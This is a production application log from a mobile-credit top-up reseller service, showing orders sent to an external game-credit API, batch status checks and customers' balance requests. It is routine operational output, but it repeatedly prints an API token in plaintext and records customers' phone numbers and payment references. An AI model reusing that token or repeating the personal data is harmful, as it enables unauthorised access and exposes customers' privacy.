[2026-03-24 12:07:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:07:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=09518800-30bd-40c5-9b6b-b75cdece675e&Player_ID=0944703457  
[2026-03-24 12:07:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=09518800-30bd-40c5-9b6b-b75cdece675e&Player_ID=0944703457","has_body":false} 
[2026-03-24 12:07:20] production.INFO: Operation sent successfully {"operation_id":163522,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6pXDm-1774343240","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:07:20"}},"processed_data":{"order_number":"ORD-6pXDm-1774343240","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:07:21] production.INFO: Constructing job for order: 178594  
[2026-03-24 12:07:23] production.INFO: Handling job for order: 178594  
[2026-03-24 12:07:23] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:07:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:07:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=bebf2eed-e1e5-400a-a8c5-9d2b91face98&Player_ID=0944703457  
[2026-03-24 12:07:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=bebf2eed-e1e5-400a-a8c5-9d2b91face98&Player_ID=0944703457","has_body":false} 
[2026-03-24 12:07:24] production.INFO: Operation sent successfully {"operation_id":163523,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-QVrvRH-1774343244","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 12:07:24"}},"processed_data":{"order_number":"ORD-QVrvRH-1774343244","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 12:08:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03"} 
[2026-03-24 12:08:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","total_operations":4,"sites_count":2} 
[2026-03-24 12:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:08:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:08:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-6pXDm-1774343240","ORD-QVrvRH-1774343244"]} 
[2026-03-24 12:08:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:08:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 12:08:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 12:08:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 12:08:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"count":2} 
[2026-03-24 12:08:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"count":2} 
[2026-03-24 12:08:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"user_id":43,"notification_type":"order_approved","reference_id":178593} 
[2026-03-24 12:08:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"user_id":43,"notification_type":"order_approved","reference_id":178594} 
[2026-03-24 12:08:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:08:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:08:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"processed":2,"errors":0} 
[2026-03-24 12:08:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523,"processed":2,"errors":0} 
[2026-03-24 12:08:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mW2ZmrExbiWculCE1Ixd4yXC6fZOBCHW","execution_time":"2026-03-24 12:08:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-QVrvRH-1774343244","operation_id":163523} 
[2026-03-24 12:08:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 12:08:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 12:08:52] production.INFO: Constructing job for order: 178595  
[2026-03-24 12:08:55] production.INFO: Handling job for order: 178595  
[2026-03-24 12:08:55] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:08:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:08:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=33b34b15-369a-42c8-b665-a39bc9fc380f&Player_ID=0938431151  
[2026-03-24 12:08:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=33b34b15-369a-42c8-b665-a39bc9fc380f&Player_ID=0938431151","has_body":false} 
[2026-03-24 12:08:55] production.INFO: Operation sent successfully {"operation_id":163524,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-qQazCw3O-1774343335","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 12:08:55"}},"processed_data":{"order_number":"ORD-qQazCw3O-1774343335","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 12:09:25] production.INFO: Constructing job for order: 178596  
[2026-03-24 12:09:28] production.INFO: Handling job for order: 178596  
[2026-03-24 12:09:28] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 12:09:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:09:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=bf7fd914-bd28-4468-820e-3be060738ff9&Player_ID=0938431151  
[2026-03-24 12:09:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=bf7fd914-bd28-4468-820e-3be060738ff9&Player_ID=0938431151","has_body":false} 
[2026-03-24 12:09:29] production.INFO: Operation sent successfully {"operation_id":163525,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KIi-1774343369","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 12:09:29"}},"processed_data":{"order_number":"ORD-KIi-1774343369","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 12:10:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03"} 
[2026-03-24 12:10:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","total_operations":4,"sites_count":2} 
[2026-03-24 12:10:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:10:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:10:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:10:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:10:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:10:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:10:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:10:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-qQazCw3O-1774343335","ORD-KIi-1774343369"]} 
[2026-03-24 12:10:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:10:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 12:10:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 12:10:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 12:10:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"count":2} 
[2026-03-24 12:10:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"count":2} 
[2026-03-24 12:10:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"user_id":1551,"notification_type":"order_approved","reference_id":178596} 
[2026-03-24 12:10:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"user_id":1551,"notification_type":"order_approved","reference_id":178595} 
[2026-03-24 12:10:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 12:10:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 12:10:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"processed":2,"errors":0} 
[2026-03-24 12:10:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524,"processed":2,"errors":0} 
[2026-03-24 12:10:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CsiYQBcLLXiNHbWFxPtJsti12RnAGuL0","execution_time":"2026-03-24 12:10:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-qQazCw3O-1774343335","operation_id":163524} 
[2026-03-24 12:10:04] production.INFO: Executing GetProducts task...  
[2026-03-24 12:10:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:10:04] production.INFO: Executing GetProducts task...  
[2026-03-24 12:10:06] production.INFO: async() رجع: true  
[2026-03-24 12:10:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:10:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:10:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:10:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:10:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 12:10:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 12:12:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01"} 
[2026-03-24 12:12:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","total_operations":2,"sites_count":1} 
[2026-03-24 12:12:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:12:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:12:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:12:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:12:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:12:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:12:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6X2kR5SdPGl1M2vshS9w7tjIkgWL0JNF","execution_time":"2026-03-24 12:12:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:13:19] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5900.0","mainamount":"5900","operation_number":"158103574","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php1fe04nsc3dpa0XjRhqy"}},"user_id":1292} 
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 12:13:19] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 12:13:19] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18604,"user_id":1292,"amount":5900.0,"admins_notified":7} 
[2026-03-24 12:13:32] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"#158100946","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php8i8cra0je1od4dnE3aY"}},"user_id":1771} 
[2026-03-24 12:13:41] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"#158100946","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpa1d782ogslpcbySHFvH"}},"user_id":1771} 
[2026-03-24 12:14:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01"} 
[2026-03-24 12:14:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","total_operations":2,"sites_count":1} 
[2026-03-24 12:14:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:14:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:14:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:14:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:14:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
